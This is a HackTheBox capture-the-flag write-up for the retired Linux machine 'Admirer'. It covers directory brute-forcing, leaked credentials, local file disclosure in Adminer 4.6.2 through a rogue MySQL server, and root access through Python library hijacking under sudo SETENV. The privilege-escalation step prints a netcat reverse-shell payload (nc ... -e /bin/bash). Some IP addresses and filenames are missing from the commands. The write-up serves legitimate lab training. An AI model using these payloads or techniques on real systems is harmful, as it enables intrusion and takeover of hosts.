Admirer – HackTheBox writeup

Admirer is a retired vulnerable Linux machine available from HackTheBox. The machine makers are polarbearer & GibParadox, thank you. It has an Easy difficulty with a rating of 5.3 out of 10. This is a great box. I really enjoy it.

Kali Linux is used to carry out the enumeration, exploitation and privilege escalation. The goal is to obtain root shell together with both user & root flags.

Exploitation Summary (tap to reveal)

Initial Exploitation

  • Vulnerability: Credentials exposure and local file exposure of Adminer version 4.6.2.
  • Explanation: FTP credentials are exposed from website that leads to access of Adminer that is vulnerable to file disclosure using a rogue MySql server

Privilege Escalation

  • Vulnerability: Python library hijacking
  • Explanation: sudo capability to execute python script with environment preservation. This ability enables python library hijacking.


nmap -p- -A -T4
TCP 21: vsftpd 3.0.3
TCP 22: OpenSSH 7.4p1
TCP 80: Apache httpd 2.4.25

Initial Exploitation

A quick check on FTP service indicates that anonymous login is not available. Credentials are needed to use the FTP service.

no anonymous ftp

Let’s look at the website at port 80.

The website features some nice images. Other than that, there isn’t much other interesting information. But nmap scan shows that robots.txt file exists. Apparently, there exists a folder /admin-dir


Looks like we may be able to find some contact information and credentials. However, accessing the folder /admin-dir receives a 403 Forbidden error.


Although accessing the folder itself is forbidden, we can still perform directory scan using tools such as gobuster:

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,301,302,307" -x "txt,html,php"

Nice, we find a file contacts.txt. Checking out the file reveals some email addresses.


That’s great. We have a bunch of email addresses and names, including waldo we discovered earlier at robots.txt. I then tried out all the names, emails and different combinations to see if I can find a valid user at the FTP service. Unfortunately, all returns 530 Permission denied error.

I’m kind of stuck here without additional leads. So I try some random guesses based on hints received so far from robots.txt & contacts.txt but am not getting any further.

I then conduct more fuzzing scans and gobuster scans using different word lists and finally land on another file

gobuster dir -u -w /usr/share/wordlists/dirb/big.txt -e -k -l -s "200,204,301,302,307" -x "txt,html,php"
gobuster 2

Found another file /credentials.txt. Hm, I am pretty sure I tried creds.txt & credentials.txt when I was guessing some files based on hints from robots.txt. Maybe some typos back then. Oh well, more time spent but finally find the file that looks promising:


Great! There are credentials for FTP service. Let’s check it out. Note that I also tried these passwords with different name combinations on SSH but none works.


There are 2 files dump.sql & html.tar.gz and I downloaded them. dump.sql does not provide additional hints/information. So I proceed to extract files from the tar file:

tar xzvf html.tar.gz
web backup

These files look familiar and seem like a backup of the current website. Upon exploring the fiiles, I found some additional credentials from the highlighted files:

database credentials from index.php
another db credentials from db_admin.php
credentials backup
bank account credentials from credentials.txt

Some more credentials obtained. Tried them on SSH without success. Oh well, we found so many credentials but most of them don’t seem to work. And we are stuck again.

All hope is not lost yet. The website backup actually shows us 2 more directories for enumeration: /utility-scripts and /w4ld0s_s3cr3t_dir. Folder /w4ld0s_s3cr3t_dir gives 404 File not found error while /utility-scripts gives 403 Forbidden error (same as folder /admin-dir). That means /utility-scripts exists. So let’s do gobuster search on it:

gobuster dir -u -w /usr/share/wordlists/dirb/big.txt -e -k -l -s "200,204,301,302,307,401,403" -x "txt,html,php"
gobuster 3

All right! We find yet another file at /utility-scripts/adminer.php.


Adminer is a database management tool allowing you to connect to different databases.

I am excited and can’t wait to use the credentials to get on. Noop. Oh man, none of the credentials works!! Ah, we seem to be so close. Yet seem so far!

Let’s Google any vulnerabilities of Adminer:

adminer vulnerability

We quickly find that Adminer version 4.6.2 (exactly the version we have) has a file disclosure vulnerability. By reading through the article plus some others, it’s possible to reveal content of files in the target machine by exploiting the vulnerability.

We would need to setup and configure a rogue MySql server in kali, connect to our own MySql server using Adminer and then use LOAD DATA INFILE command to send file content to our MySql server.

Setup MySql server at Kali

Configure & start MySql server

Be default, MySql should already be installed with Kali. But it is set to listen locally and would not allow connection remotely. We will modify the config file, change the bind-address from to to enable remote connections. And then start the server.

sed "s/" -i /etc/mysql/mariadb.conf.d/50-server.cnf
service mysql start

Use MySql cli to create a MySql user

Start MySql cli by running command mysql. Then create user as follow:

CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacker123';
GRANT ALL PRIVILEGES ON *.* to 'hacker'@'%';

This will create the user needed with full privileges.

Create temp table

Next we create a temporarily database and table to receive the file contents:

USE rogueDB;
CREATE TABLE content (data TEXT);
prepare mysql

Connect to MySql

Go back to the Adminer login page and enter the MySql information. Adminer should now be connected to our own MySql server.

connected to mysql

Nice and connected. If your MySql is not setup correctly, you will encounter errors such as Connection Refused or MySql server has gone away.

Retrieving local files

Now let’s try to retrieve some local files:

  • click on SQL command
  • type LOAD DATA LOCAL INFILE ‘/etc/password’ INTO TABLE content
  • click Execute

Oops, we encounter open_basedir restriction that prohibits us from retrieving the file. That means we are not free to load any files but only files within the specified base directory and its sub-directories.

open_basedir error

But that’s ok. If we refer back to where we found couple credentials from web pages, that’s index.php and utility-scripts/db_admin.php. Let’s try them. It turns out db_admin.php does not exist but we are able to retrieve index.php file.

LOAD DATA LOCAL INFILE '../index.php' INTO TABLE content
local file disclousre

Cool. Now’s let look at the content:

select * from content;

Awesome, we found yet another set of credentials for user waldo. With this credentials, I am able to login as waldo using ssh!

low shell

Finally, gained access as waldo! And let’s take the flag:

user flag

Privilege Escalation

Let’s check sudo capability:


We can run the script with SETENV privilege. SETENV privilege allows us to prevent environment reset (env_reset) and preserve our environment. Let’s check out the script to see if we can take advantage of the SETENV privilege.

The script has an option (option 6) to perform web backup by running a python script source

The backup python script is using library shutil to perform archive. All right! We can utilize SETENV privilege to override $PYTHONPATH environment variable to point to /tmp and then hijack the python execution by providing our own version of at /tmp folder. When we run the script to perform web backup and is executed, it will try to load the shutil module from our version instead and results in custom code execution.

Let’s create /tmp/ with the following code:

import os
os.system('nc 4000 -e /bin/bash')

Now start netcat process listening to port 4000

nc -nvlp 4000

And finally execute the script using sudo:

sudo -u root -E PYTHONPATH=/tmp "/opt/scripts/" 6
root shell obtained

Root shell obtained! And let’s fetch the root flag to finish the box!

root flag

Leave a Reply

Close Menu